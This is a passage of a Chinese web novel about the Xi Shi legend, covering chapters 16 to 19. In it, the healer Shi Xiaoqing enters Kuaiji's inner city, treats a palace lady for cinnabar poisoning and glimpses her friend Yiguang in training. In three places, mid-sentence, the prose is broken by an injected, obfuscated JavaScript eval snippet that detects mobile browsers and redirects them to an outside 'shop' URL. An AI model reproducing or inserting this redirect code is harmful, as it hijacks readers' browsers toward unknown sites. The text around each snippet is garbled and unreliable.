慢慢地,这些人开始把她当自己人。 “施姑娘,我今儿在城门口看见一队兵过去了,往北边去的,听说是去边境换防。” “施姑娘,我昨天给内城一个管家送货,听他抱怨说,最近内城管得严了,进出都要查验腰牌,连熟面孔都不放过。” “施姑娘,我听说城西新开了一家酒楼,是哪个贵人的产业,里面的人出手阔绰得很,一个小二打赏都比咱们一个月挣的多。” 施晓青一边给人看病,一边把这些信息都记在心里。 每天晚上,她回到那间小厢房,点上油灯,把白天听到的消息分类整理到桑树皮上。 内城的消息还是太少。 她知道夷光在内城,知道内城有王宫、有贵族府邸、有那些被选中的女子受训的地方。但她不知道具体在哪里,不知道夷光住在哪个院子,不知道她每天做什么,不知道她过得好不好。 她需要一个能进得去内城的人。 或者,一个能从内城出来的人。 这天下午,施晓青正在铺子里给一个老太太看风湿腿,门外进来一个穿着半旧绸衫的中年男人。 男人四十来岁,面白无须,举止斯文,一看就不是城南的普通百姓。他在铺子里站了一会儿,目光扫过那些杂货,最后落在施晓青的草药摊子上。 “你就是那个会治病的施姑娘?”他问。 施晓青抬起头,打量了他一眼:“我是。您哪里不舒服?” “不是我。”男人从袖子里掏出一块帕子,擦了擦额头的汗,“是我家主人。他最近总是睡不好,吃了很多安神的药都不管用。听说城南有个姑娘会调理,让我来看看。” “你家主人是谁?” “这个……不便透露。”男人笑了笑,笑容里带着几分警惕,“姑娘若是方便,可否随我走一趟?诊金好说。” 施晓青看着他,心里飞快地转着。 不便透露主人的身份——说明不是普通人家。 穿着半旧绸衫,但料子不错——是个管家或者贴身仆从。 举止斯文,说话有分寸——在大户人家待久了。 “我一般不出诊。”施晓青说,“不过若是情况特殊,也可以破例。只是我有几个规矩。” “姑娘请说。” “第一,我只调理小毛病,大病治不了,别耽误。第二,我不保证能治好,只能试试。第三,”她顿了顿,“我要先知道你家主人是谁。不是我要打听,是我得知道是什么身份的人,才能判断用什么分寸的药。” 男人犹豫了一下,压低声音:“我家主人……在内城。” 内城…… 施晓青的心猛地一跳。 “我家主人是……”男人又犹豫了一下,似乎在权衡什么,最终还是说了,“是王宫里的一个管事。身份不高,但也不低。最近王宫里事多,他累得厉害,觉都睡不着。听人说城南有个姑娘会调理,让我来请。” 王宫里的管事。 施晓青深吸一口气,压下心头的激动。 “行,我去。”她说,“等我收拾一下。” 她转身进了后院,从厢房里拿出一个小药箱——那是她用旧木板钉的,里面放着几味常用药、一块干净的布、一小包薄荷糖,这是她自己做的,用蜂蜜和薄荷汁熬的,提神醒脑。 路过老李身边时,她低声说:“李叔,我去内城一趟,晚上回来。” 老李正在打算盘,闻言手一顿:“内城?你去内城做什么?” “给人看病。” 老李看着她,目光里有些担忧,但最终还是点了点头:“小心些。” “知道了。” 施晓青跟着那个男人出了城南,穿过几条街,越走越深,两旁的建筑越来越气派。 青石板路干干净净,路边种着修剪整齐的树木,偶尔有骑马的人经过,衣饰华丽,气度不凡。 “前面就是内城的城门了。”男人指着前方一道高大的门洞,“姑娘跟紧我,别走散了。” 内城的城门比外城小一些,但守卫更严。门口站着两排兵士,腰佩长刀,目光如鹰。 男人从怀里掏出一块铜牌,递给守卫查验。守卫看了看铜牌,又看了看施晓青,问:“她是谁?” “城南的大夫,来给府上看病的。”男人陪笑道。 守卫又看了施晓青一眼,见她是个年轻的姑娘,手里提着个旧木箱,不像是能惹事的样子,挥了挥手:“进去吧。天黑之前出来。” “是是是。” 施晓青低着头,跟着男人快步穿过城门。 内城。 她进来了。 街道比外城宽,比外城静。两旁的建筑不再是商铺,而是一扇扇紧闭的大门,门前蹲着石狮,墙上爬着藤蔓。偶尔有马车驶过,车轮碾过石板,发出沉闷的声响,又迅速消失在远处。 施晓青记着路,记着每一个拐角,每一处标志。她的心跳得很快,但面上不动声色。 “就在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17486891|202064||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 前面。”男人指着一扇黑漆大门。 施晓青跟着他走进去。 院子里很安静,种着几株修竹,墙角有一口水井。几个仆从轻手轻脚地走过,见了男人,低头行礼。 “主人住在东厢。”男人带着她穿过回廊,在一间房门前停下,轻轻敲了敲,“主人,城南的施姑娘来了。” “进来。”里面传来一个沙哑的声音。 推开门,一个四十多岁的男人坐在窗边的榻上,穿着一身青灰色的袍子,面容清瘦,眼下青黑,一看就是长期睡眠不足。 施晓青行了礼,在他对面坐下。 “听说你懂调理?”那男人看着她,目光有些怀疑。 “略懂一些。”施晓青打开药箱,“主人是什么时候开始睡不好的?有什么症状?用过什么药?” 男人一一说了。施晓青听完,又问了些饮食、作息、工作上的事,心里大概有了数。 “主人这是积劳成疾。”她说,“身体的底子还在,但心神耗得太厉害。光靠安神的药不行,得从饮食、作息上一起调理。” 她从药箱里拿出一个小陶罐,打开,里面是淡黄色的膏状物,散发着淡淡的草药香。 “这是我做的安神膏,用酸枣仁、百合、茯苓熬的。每天晚上睡前,用温水化一勺喝。不能根治,但能帮您睡得好一些。” 她又从药箱里拿出一小包干花:“这是薰衣草,晒干的。放在枕头旁边,闻着能放松。” 男人接过,看了看,又闻了闻,眉头微微舒展。 “就这些?” “还有。”施晓青说,“主人以后晚饭别吃太饱,睡前别喝茶,别想那些烦心事。能做到这几点,比吃什么药都管用。” 男人愣了一下,随即笑了:“姑娘说话倒是直接。” “直接些好,不耽误您的时间。” 男人把那罐安神膏和薰衣草收下,让管家拿了一袋钱给施晓青。施晓青没有推辞,接过来,掂了掂,分量不轻。 “主人若是觉得有用,三日后我再来看看。”她站起来,“若是没用,就不用找我了,去找真正的郎中。” “姑娘谦虚了。”男人也站起来,看着她,目光里的怀疑已经消散了大半,“我姓陆,姑娘以后有事,可以让人来内城找我。” 施晓青出了陆管事的院子,跟着管家往外走。 她的脚步不快,目光却飞快地扫过四周,院落的布局,仆从的行走路线,哪扇门开着,哪扇门关着,哪里有守卫,哪里没人。 这些都是信息。 走到回廊拐角时,她忽然停下脚步。 远处,隔着一道月洞门,她看见几个年轻女子的身影,穿着统一的浅色衣裙,发髻梳得整整齐齐,正从远处的游廊下经过。 她们的步伐整齐划一,像是受过专门的训练。 其中一个走在最后面的,身形有些熟悉。 施晓青的呼吸骤然停住。 她张了张嘴,想要喊出声,却发现自己根本发不出任何声音。 那个身影很快消失在月洞门后面,像一滴水融入河流,再也找不见。 “姑娘?”管家回头看她,“怎么了?” “没……没什么。”施晓青收回目光,声音有些发颤,“走吧。” 她跟着管家出了内城。 走在回城南的路上,她的脚步越来越快,最后几乎是小跑。 不会认错的。 那个身形,那个走路的姿态,那种即使在人群中也无法被忽视的气质—— 是夷光。 她见到了夷光。 虽然只是远远的一个背影,虽然只看了短短一瞬—— 但那是夷光。 施晓青的眼眶忽然就红了。 她站在内城外的街道上,周围人来人往,没人注意到一个提着旧木箱的年轻姑娘,正站在路边,死死咬着嘴唇,不让眼泪掉下来。 夷光,我见到你了。 你真的在这里。 你瘦了,走路的样子变了,不再是苎萝村那个轻盈得像小鹿一样的少女,而是带着一种刻意的、被训练过的姿态。 可我还是一眼就认出了你。 施晓青深吸一口气,擦了擦眼角,继续往前走。 她还有很多事要做。 她要想办法再进内城。 她要想办法接近夷光。 她要想办法,把那根编了很久的麻绳带子,交到夷光手里。 17. 目光 二月底的一个傍晚,会稽城下了一场细雨,训练结束得比平时早。 郑旦趴在窗台上,看着外面湿漉漉的院子,百无聊赖地用手指在窗棂上画圈。 “夷光,你听说了吗?”郑旦头也没回。 “什么?” “外城那边,来了个会治病的姑娘。听说医术了得,给不少人看好了病,还不要钱。” 夷光正在叠衣裳的手微微一顿。 “外城?” “嗯,城南那一带。好像姓什么……施?”郑旦转过头,眼睛亮晶晶的,“你说巧不巧,跟你那个同乡一个姓。” 夷光没有说话。 她把叠好的衣裳放在床头,走到窗边,看着外面灰蒙蒙的天。 姓施。会治病。城南。 她在心里把这三个词翻来覆去地嚼了无数遍,却不敢让自己相信。 不会的。 阿青在苎萝村,在几百里之外。 她怎么会来会稽?她来会稽做什么? 可是—— “郑旦,”她开口问,声音平静得连自己都觉得陌生,“那个姑娘,叫什么名字?” “不知道。”郑旦摇摇头,“我也是听送饭的丫鬟说的。她们闲聊时提了一嘴,没细说。” 夷光没有再问。 那天夜里,郑旦睡着了,发出均匀的呼吸声。夷光躺在黑暗中,睁着眼,看着头顶模糊的帐幔。 她的手伸到枕下,摸出那个小小的布包。薄荷叶的香气已经淡了,几乎闻不到。但她还是把那片桑树皮贴在胸口,感受着那些笔画微微凸起的触感。 阿青,是你吗? 你真的来了吗? 还是……只是一个同姓的陌生人? 她闭上眼,在黑暗中,一个字一个字地念着那些密码文字。那是阿青教她的,是她们之间独有的语言,是她在孤独中唯一能抓住的东西。 如果是你,你会来找我吗? 你会知道我在哪里吗? 你能进得来内城吗? 她翻来覆去地想了一整夜,直到窗外的天色从漆黑变成深蓝,再从深蓝变成灰白。 第二天,训练照常。 教她们的老妇人姓吴,大家都叫她吴嬷嬷。吴嬷嬷年轻时在吴国的王宫里待过,后来不知什么原因回了越国,被范蠡请来教导这些女子。 吴嬷嬷从不笑。她的脸上像糊了一层浆,紧绷绷的,看不到任何情绪波动。 她教的东西很杂:礼仪、言谈、歌舞、妆容,甚至如何用眼神、如何控制呼吸、如何在最短的时间内判断一个人的性情。 “你们以后要去的那个地方,”吴嬷嬷说,“不是普通的后宫。那是吴国的王宫,是天下最危险的地方之一。那里的女人,每一个都是狐狸精转世,每一个都恨不得把你们生吞活剥。你们若想在那里活下来,就必须比她们更聪明、更冷静、更会演戏。” “你们要学会看人。看一个人的眼神,看他的手指,看他走路的姿态,看他说话时嘴角的弧度。这些细节,比他说的话更重要。” “你们要学会听。听别人说了什么,更要听别人没说什么。那些藏在话缝里的东西,往往才是最值钱的。” “你们要学会忍。忍得住委屈,忍得住恐惧,忍得住想哭的冲动。在那个地方,眼泪是最不值钱的东西。” 夷光把这些话一句一句地记在心里。 阿青说过,要观察身边的每一个人。 吴嬷嬷的左手小指少了一截,走路时右腿微微拖沓,她受过伤,或许是被惩罚过。她不爱笑,但她看郑旦时,眼神会有一瞬间的柔和,她心里还有柔软的地方,只是藏得很深。 郑旦。这个从第一天就黏着她的姑娘,笑起来没心没肺,可夜里翻身时,夷光偶尔能听见她压抑的、极轻极轻的抽泣,她心里是想家的。 其他几个女子,有的傲慢,有的怯懦,有的沉默寡言,有的过于殷勤。 夷光不动声色地观察着她们,在心里给每个人画了一张像。 谁是可以接近的,谁是需要远离的,谁是可以利用的,谁是需要防备的。 三月初,吴嬷嬷开始教她们吴国的那些事。 “吴王夫差,”吴嬷嬷说,“今年不到三十,正是壮年。他好大喜功,喜欢排场,喜欢被人奉承。但他不是昏君,他的脑子很清楚,只是有时候太自信,自信到觉得自己无所不能。” “吴国的后宫,目前最得宠的是夫人——就是王后。但夫差身边不缺女人,你们去了之后,不要急着争宠,要先站稳脚跟,看清楚局势。” “吴国的大臣,有几个你们要记住。伍子胥,老臣,刚愎自用,最恨越国,你们见了他要绕着走。伯嚭,贪财好色,你们可以用钱和美貌收买他,但不能信他。还有……” 夷光默默听着。 这些,都是阿青曾经跟她提过的。 阿青说过,夫差这个人,好大喜功,容易被人牵着鼻子走;伍子胥是越国最大的敌人,但这个人太直,迟早会被夫差厌弃;伯嚭贪财,可以用钱买通。 那时候她觉得阿青懂得好多,多到不像一个村女。 现在她才明白,阿青说的那些,不是凭空猜的。 阿青知道未来。 这个念头第一次冒出来时,夷光吓了一跳。可她没有害怕,反而觉得心里暖暖的。 阿青知道未来,却还是选择了帮她。 阿青知道那条路是焚身火,却还是陪她走到了入口。 阿青现在,就在外城的某个地方,在为她织那张看不见的网。 三月初五,夷光再次见到了范蠡。 他来得突然,没有任何预兆。吴嬷嬷把他引进正堂,让她们几个依次进去“谈话”。 轮到夷光时,她走进去,看见范蠡坐在窗边,手里拿着一卷竹简,面前放着一盏茶。 “施姑娘,坐。”他放下竹简,目光平静。 夷光在他对面坐下,姿态端正,目光微垂。 “这些日子,学得如何?”范蠡问。 “吴嬷嬷教得很好,学生受益匪浅。”夷光的声音不高不低,语速不疾不徐。 范蠡看着她,沉默了片刻。 “你那个同乡,”他忽然开口,“施晓青——她还在苎萝村吗?” 夷光的眼皮一跳。 她抬起头,迎上范蠡的目光。 “范大夫问这个做什么?” 范蠡没有回答她的问题,只是笑了笑:“没什么,随便问问。” 夷光垂下眼,心里翻涌着无数念头。 范蠡为什么突然问起阿青?他知道什么?他见过阿青?还是…… “施姑娘,”范蠡的声音打断了她的思绪,“你有一个好姐妹。这份情谊,难得。” 他站起来,走到窗边,背对着她。 “我年轻时,也有过一个朋友。”他的声音很低,像是在自言自语,“后来,各为其主,各走各路。再后来……” 他没有说下去。 夷光看着他的背影,忽然觉得,这个在越国一人之下万人之上的大夫,此刻看起来,有些孤独。 “范大夫,”她轻声说,“那个朋友,现在在哪里?” 范蠡转过身,看着她,目光里有些复杂的情绪。 “在一个很远的地方。”他说,“远到,可能再也见不到了。” 他没有再多说,挥挥手让她出去了。 夷光走出正堂,站在廊下,深深地吸了一口气。 春日的阳光洒在她身上, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17486892|202064||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 暖融融的。院子里那几株桃花开了,粉白粉白的,风一吹,花瓣簌簌地落下来。 她伸出手,接住一片花瓣。 阿青,范蠡问起你了。 他是不是见过你? 你是不是真的来了会稽? 如果是,你要小心。范蠡这个人,太聪明了,在他面前,藏不住什么的。 她握紧那片花瓣,转身回了屋。 三月初八,夷光在后院练舞时,听见两个送饭的丫鬟在墙角说话。 “你听说了吗?城南那个会治病的姑娘,前几天进内城了。” “进内城?她进来做什么?” “给陆管事的看病。听说医术确实好,陆管事吃了她的药,这些天睡得好多了。” “真有那么神?” “谁知道呢。不过陆管事对她挺满意的,说以后还要找她。” 两个丫鬟说着话走远了。 夷光站在原地,手里的舞扇忘了转动。 …… 她抬起头,看向内城与外城之间那道高高的宫墙。 阿青,你真的来了。 你进了内城,你离我,只有几道墙的距离。 她的心跳得很快,快到她不得不按住胸口,像以前按住心口疼那样。 可这次不是疼,是别的什么。 是一种她说不清楚的、又热又涨的、像是要把胸腔撑破的东西。 夜里,郑旦睡着了。夷光坐在窗边,借着月光,把枕下那片桑树皮拿出来,看了一遍又一遍。 那些密码文字,她已经烂熟于心。可她还是要看,要确认,要让自己相信—— 阿青来了。 她来了。 她把桑树皮贴在胸口,闭上眼。 阿青,我知道你来了。 我不知道你是怎么进来的,不知道你住在哪里,不知道你还会不会再进来。 可我知道,你不会放弃。 就像我,也不会放弃。 窗外,月亮很圆,月光很亮,照在院子里,照在那些刚刚开放的桃花上,照在一个少女紧握着桑树皮的手上。 夜风轻轻吹过,带着春天独有的、潮湿的、孕育着某种希望的气息。 很远很远的城南,另一扇窗下,施晓青正把今天在内城见到的所有细节,一笔一划地记在桑树皮上。 她画了一张简陋的地图,内城城门的位置,陆管事院子的位置,那条回廊的位置,那道月洞门的位置。 以及,那些年轻女子经过的游廊的位置。 她在游廊的位置旁边,画了一个小小的圈,写下两个字:夷光。 然后她放下炭笔,从怀里摸出那根编了很久的麻绳带子。 已经编得很长了。 她用手指量了量,从这头到那头,刚好是她双臂展开再向外延伸一掌的长度。 够了。 她把带子折好,重新收进怀里,贴着心口的位置。 夷光,我今天看见你了。 虽然只是一个背影,虽然只有一瞬—— 可我确定,那就是你。 你瘦了,走路的样子变了,可你还是你。 我离你,只有几道墙的距离。 我会想办法的…… 你等我。 她吹熄油灯,躺在黑暗中。 城南的夜比苎萝村吵,远处有更夫的梆子声,有犬吠,有晚归的行人的脚步声。可这些声音,此刻听起来都不再陌生,不再让人害怕。 因为夷光在这里。 因为她们在同一个城里,呼吸着同样的空气,看着同样的月亮,感受着同一个春天缓慢而坚定的到来。 她闭上眼,嘴角带着一丝极淡的笑,或许今晚,她会做一个安稳的梦。 18. 出诊 每日清晨,施晓青帮老李开门、摆货,然后坐在草药摊子后面,接待陆续上门的病人。 午后,她会提着药箱,去城南那些住得远、走不动的老人家里“巡诊”。说是巡诊,其实不过是陪他们坐坐,说说话,顺手调些缓解腰腿疼的药膏。 “施姑娘来了!”巷子深处,刘阿婆每次见她都笑得合不拢嘴,拉着她的手不放,“来就来,还带什么东西?” “阿婆,这不是东西,是药。” 施晓青把一小罐艾草膏放在桌上,“您上次说膝盖又疼了,我给您调了这个,每天早晚抹一次,用手心搓热了再揉。” “哎,哎。”刘阿婆接过,浑浊的眼睛里泛着光,“姑娘,你说你年纪轻轻的,怎么就这么懂事呢?我家那几个孙子孙女,没一个比得上你。” 施晓青笑笑,没有接话。 刘阿婆拉着她说了半日的话。 巷口王家的媳妇又怀了第三胎,隔壁赵屠户家的狗生了一窝崽,她年轻时去过的地方、见过的人。 施晓青听着,时不时应一声,脑子里却在转别的。 “阿婆,您年轻时候,进过内城吗?” “内城?”刘阿婆愣了一下,“进过。那会儿我还没嫁人,在城里一个大户人家帮佣。那户人家的老爷,在内城有差事,我跟着进去送过几次东西。” “那您知道,内城那些……那些女子住的地方,在哪个方向吗?” “女子?”刘阿婆想了想,“你是说那些……被选进去的?” 施晓青的心跳快了一拍,面上却不动声色:“嗯,听说内城养着一些女子,专门学歌舞礼仪什么的。” “知道,知道。”刘阿婆压低声音,“在城东那一带,靠着王宫的后墙。我那会儿进去送东西,远远见过一次,院子外头有兵士把守,进不去的。” 施晓青在心里默默记下。 “阿婆,那您知道,有没有人能进得去那个院子?比如送菜的、送水的、洗衣裳的?” “这我哪儿知道。”刘阿婆摇摇头,“都过去多少年了。不过那种地方,管得严,能进去的肯定都是信得过的人。姑娘,你打听这个做什么?” “没什么。”施晓青笑了笑,“就是好奇。” 从刘阿婆家出来,施晓青又在巷子里转了一圈。 她跟卖菜的陈大嫂聊了几句,又跟赶车的赵叔打了个招呼,帮跑腿的小六子看了看手上的冻疮。 这些人,是她用自己的耐心、善意和那点微不足道的医术,换来的、愿意跟她多说几句的人。 “施姑娘,我昨天给城东一个府上送货,看见好多兵士在那边巡逻,比平时多了一倍。”赶车的赵叔一边啃着饼子一边说,“也不知道出了什么事。” “城东?”施晓青心里一动,“哪个府上?” “不知道,没挂牌子,门口就两个石狮子。反正看着挺气派的。” “赵叔,您下次再路过那边,帮我留意一下,那个府上每天什么时候送菜、送水,什么人送。” 赵叔啃饼子的动作停了,看着她,目光里有些疑惑:“姑娘,你打听这个做什么?” “我想找个活干。”施晓青说,“听说那边的人出手阔绰,我想看看能不能揽点浆洗缝补的活。” 赵叔“哦”了一声,没再追问。 晚上,施晓青回到小厢房,点上油灯,把今天的收获记在桑树皮上。 她放下炭笔,看着窗外漆黑的夜。 城东。 她在地图上画的那个圈,陆管事住的地方在城西,那夷光可能在城东。 内城比她想象的大。她进得去城西,不一定进得去城东。她需要一个新的突破口。 三月中旬,这天下午,施晓青正在铺子里给人看诊,门外进来一个穿着靛蓝短褐的年轻男子,黝黑壮实,满头大汗。 “请问……施姑娘在吗?” 施晓青抬起头,一眼就认出了他。 李叔的儿子。那个从苎萝村来的、在陶朱记布庄当学徒的年轻人。 “我就是。”施晓青说,“你是?” “我姓李,叫李大牛。”年轻人憨厚地笑了笑,“我爹是李老根,跟您一个村的。我听说您来了会稽,住在李叔这儿,就想着来看看。” “哦,是大牛哥。”施晓青站起来,搬了把椅子给他,“坐。在陶朱记干得怎么样?” “还行。”李大牛挠挠头,“掌柜的待我不错,就是活儿多,累。不过累点好,累点能学到东西。” 施晓青给他倒了碗水,递过去。 “大牛哥,你在陶朱记,接触的人多吗?” “多啊。”李大牛接过碗,咕咚咕咚喝了几大口,“来买布的有钱人多,掌柜的应酬多,我有时候跟着跑腿,能见到不少人。” “那你见过……范蠡范大夫吗?” 李大牛差点被水呛着,瞪大眼睛看着她:“范大夫?那可是大人物!我一个小小学徒,哪能见得着?不过——”他压低声音,“我听掌柜的说,范大夫偶尔会来布庄,但都是走后门,不让外人知道。” 施晓青点了点头。 “大牛哥,你以后要是再听到什么消息,能不能来告诉我一声?我对城里的事好奇得很。” “行啊!”李大牛爽快地答应了,“施姑娘,你救过我爹的命,这点小事算什么。你放心,我听到什么,都来告诉你。” 施晓青笑了:“那就多谢大牛哥了。” 李大牛走后,施晓青坐在铺子里,看着门外来来往往的行人,脑子里在飞快地转。 她一直在犹豫,要不要主动去找范蠡。 范蠡知道她。 范蠡说过,若遇难处,可去陶朱记寻个方便。 可她拿什么去找他?她只是一个会些草药的村女,凭什么让范蠡花时间见她? * 这天一大早,施晓青刚开门,就看见陆管事的贴身小厮小福子站在门口,气喘吁吁的。 “施姑娘!可算找着您了!”小福子一把抓住她的袖子,“我家主人请您快去看看,出大事了!” “怎么了?” “我家主人……我家主人的一位贵客,突然晕倒了!请了好几个郎中都看不好,主人想起您,让我赶紧来找您!” “贵客?”施晓青心里一跳,“什么贵客?” “这……我不能说。”小福子急得直跺脚,“姑娘您快跟我走吧!再晚就来不及了!” 施晓青来不及多想,提起药箱就跟着小福子往外走。 马车在内城门口被拦下了。 守卫掀开车帘,看见施晓青,皱了皱眉:“又是你?” “是我。”施晓青从怀里掏出陆管事给她的那块临时腰牌,“陆管事请我来看病的。” 守卫看了看腰牌,又看了看她,挥挥手放行了。 马车在内城的街道上疾驰,穿过城西,穿过城中心,最后在城东的一扇朱红大门前停下。 施晓青下了车,看着那扇门,心跳骤然加速。 门前没有挂牌子,但门口站着两个腰佩长刀的兵士,目光冷峻,一动不动。 “这是……”施晓青看向小福子。 “姑娘别问了,快进去吧。”小福子拉着她就往里走。 穿过几进院落,绕过几道回廊,施晓青被带进一间宽敞的厢房。 屋里站满了人。有郎中模样的人,有仆从,有丫鬟,还有几个穿着官袍的陌生面孔。 陆管事站在床边,脸色发白,见她进来,快步迎上来:“施姑娘,你可来了!” “病人在哪里?”施晓青顾不上寒暄。 陆管事侧开身,让她看见床上躺着的人。 那是一个三十多岁的女子,面容姣好,此刻却脸色灰白,嘴唇发紫,呼吸急促而微弱。她的手腕上、脖子上,布满了密密麻麻的红疹,有些已经溃烂,渗出淡黄色的液体。 施晓青只看了一眼,心里就“咯噔”了一下。 这不是普通的病,这是……中毒了。 她蹲下身,仔细查看那女子的症状。呼吸急促,皮肤溃烂,瞳孔微微散大…… 她记得在现代看过的一个病例。 某种食物或者药物中毒。 “她吃了什么?喝了什么?用过什么药?”施晓青头也不抬地问。 周围的丫鬟仆从七嘴八舌地说起来。施晓青一边听,一边在脑子里飞快地排除、筛选。 “她最近是不是在吃什么补药?”她忽然问。 屋里安静了一瞬。 一个丫鬟怯怯地说:“夫人……夫人最近在吃一种美容的丸子,说是能让人皮肤白皙、容颜不老。” “丸子呢?拿来我看看。” 丫鬟从梳妆台的抽屉里拿出一个小瓷瓶,递给施晓青。施晓青倒出一粒,凑近闻了闻,又掰开看了看。 丸子的颜色有些不正常,不是普通药材的灰褐色,这丸子带着一种不自然的、微微发红的色泽。 她的心猛地一沉。 朱砂……过量使用,会中毒。 “这个丸子,不能再吃了。”施晓青把瓷瓶收起来,“夫人这是中毒。朱砂中毒。” “朱砂? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17486893|202064||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”陆管事脸色大变,“那……那怎么办?” 施晓青打开药箱,从里面拿出几样东西。绿豆粉、甘草、金银花,还有一小包活性炭,那是她进会稽城后,自己用木炭烧制、研磨的,用来处理一些急性中毒的案例。 “先催吐。” 她让丫鬟帮忙,把绿豆粉和甘草煮水,给那女子灌下去。然后又用活性炭调成糊状,敷在溃烂的皮肤上。 “这个药,不能再吃了。”她指着那个瓷瓶,“夫人用的其他东西——胭脂、水粉、头油,都要检查一遍。还有,这段时间饮食要清淡,多吃绿豆汤、冬瓜汤这些清热的。” 陆管事连连点头,让人去办。 施晓青忙了一个多时辰,那女子的呼吸才渐渐平稳下来,脸色也不再那么灰白。她松了口气,擦了擦额头的汗。 “施姑娘,”陆管事把她请到外间,亲自倒了杯茶递过去,“这次多亏了你。这位夫人身份贵重,若是出了事,我……” “陆管事,我冒昧一问,这位夫人到底是谁?”施晓青接过茶。 陆管事犹豫了一下,压低声音:“是……王宫里的人。具体是谁,我不能说。但姑娘今天救了她一命,这个恩情,不会忘的。” 王宫里的人。 施晓青端着茶杯的手微微一顿。 她救了一个王宫里的女人。 这个“恩情”,或许有一天,能派上大用场。 她没有再问,喝完茶,收拾好药箱,准备离开。 走到院门口时,她忽然停下脚步。 院门对面,隔着一条窄巷,是一道高高的粉墙。墙的那边,隐约可见几座楼阁的飞檐,和一片郁郁葱葱的竹林。 “那边是什么地方?”她问小福子。 小福子看了一眼,随口说:“那边啊,是教习坊。专门教那些选进来的女子歌舞礼仪的地方。” 施晓青的心跳漏了一拍。 教习坊,夷光应该就在那道墙的后面。 她站在那里,看着那道粉墙,看了很久。 墙不算高。可她翻不过去。 即使翻过去了,也进不去,那边都有兵士把守。 她需要一个名正言顺的理由,走进那道墙。 她深吸一口气,收回目光,跟着小福子走出了那扇朱红大门。 马车驶过内城的街道,穿过城门,回到城南。 施晓青靠在车壁上,闭着眼,脑子里一遍一遍地过着今天的每一个细节。 …… …… 夷光,我离你,只有一道墙的距离了。 可那道墙,比几百里路还难跨越。 她睁开眼,看着车窗外掠过的街景,目光渐渐变得沉静而坚定。 没关系,她有耐心。 她有的是时间,她会找到办法的。 马车在城南停下,施晓青提着药箱下了车。 老李正站在铺子门口张望,见她回来,松了口气:“可算回来了!没事吧?” “没事。”施晓青笑了笑,“李叔,今天生意怎么样?” “还行。”老李看了她一眼,欲言又止,最终还是没忍住,“施姑娘,你……你这些天总往内城跑,到底在做什么?” 施晓青走进铺子,把药箱放下,转过身看着老李。 “李叔,”她说,“我在找一个朋友。” “朋友?” “嗯。一个很重要的朋友。” 老李看着她,目光里有些担忧,有些不解,但最终只是叹了口气。 “那你小心些。内城那种地方,不是咱们这些人能随便进的。” “多谢李叔提醒,”施晓青说,“我会小心的。” 她走进后院,回到那间小厢房,关上门。 然后她从怀里摸出那根麻绳带子,放在桌上。 总有一天,她会把这根带子,亲手交到夷光手里。 她拿起炭笔,在桑树皮上写下今天的收获: …… …… …… 她放下炭笔,看着窗外渐渐暗下来的天。 会稽城的春天,夜晚还是有些凉。 风吹过院子,带着不知名的花香,和远处隐隐约约的、不知从哪个方向传来的丝竹声。 那是教习坊的方向吗? 夷光,你在听吗? 你听到这些音乐了吗? 你在练舞,还是在休息?你在想家,还是在想我? 她闭上眼,在黑暗中,轻轻地、无声地,念着那个名字。 …… …… 19. 晓青终于有自己的铺子了 那日去看过的女子,现今已经大好。 那女子醒来后的第三日,施晓青接到了陆管事派人送来的帖子。 帖子是写在绢帛上的,字迹工整,措辞客气,大意是“夫人身体已大安,欲当面致谢,请施姑娘择日过府一叙”。落款处没有写名字,只画了一朵小小的兰花。 施晓青把帖子看了两遍,收进怀里。 那天在厢房里,那个女子脸色灰白、呼吸急促、皮肤溃烂。那样的症状,在现代急诊室里也是要抢救的。 她凭着一点模糊的记忆和几分运气,把人从鬼门关拉了回来。 她知道那是运气。 可别人不知道。 在别人眼里,她就是“会治病”的施姑娘。 这是一个机会。 她没有拒绝。 第二日一早,施晓青换了身干净的衣裳,把头发重新梳过,提着药箱,跟着陆管事派来的马车进了内城。 马车没有停在城西的陆府,而是直接驶向了城东。 穿过那道朱红大门,绕过上回来过的厢房,马车在一处更幽静的院落前停下。 院子不大,但布置精致,角落里种着几株兰花,花圃边立着一块玲珑的太湖石。院中有一个小小的池塘,池水清澈,几尾锦鲤悠闲地游动。 那女子已经能起身了。 她坐在廊下的美人靠上,披着一件月白色的披风,脸上还带着几分病后的苍白,但气色比三日前好了许多。 她的眉眼生得端庄温婉,笑起来嘴角微微上扬,有一种让人不自觉想要亲近的和善。 “施姑娘,来了。”她站起来,微微欠身。 “夫人客气了。”施晓青还礼,目光飞快地扫过周围。 两个丫鬟站在不远处,一个嬷嬷守在廊下,院门外隐约可见佩刀的侍卫。 身份不低。 那女子似乎看出了她的打量,笑了笑,拉着她的手让她在身边坐下:“别怕,那些人都是伺候我的。施姑娘救了我的命,我还没好好谢你呢。” “夫人言重了,民女只是略尽绵力。” 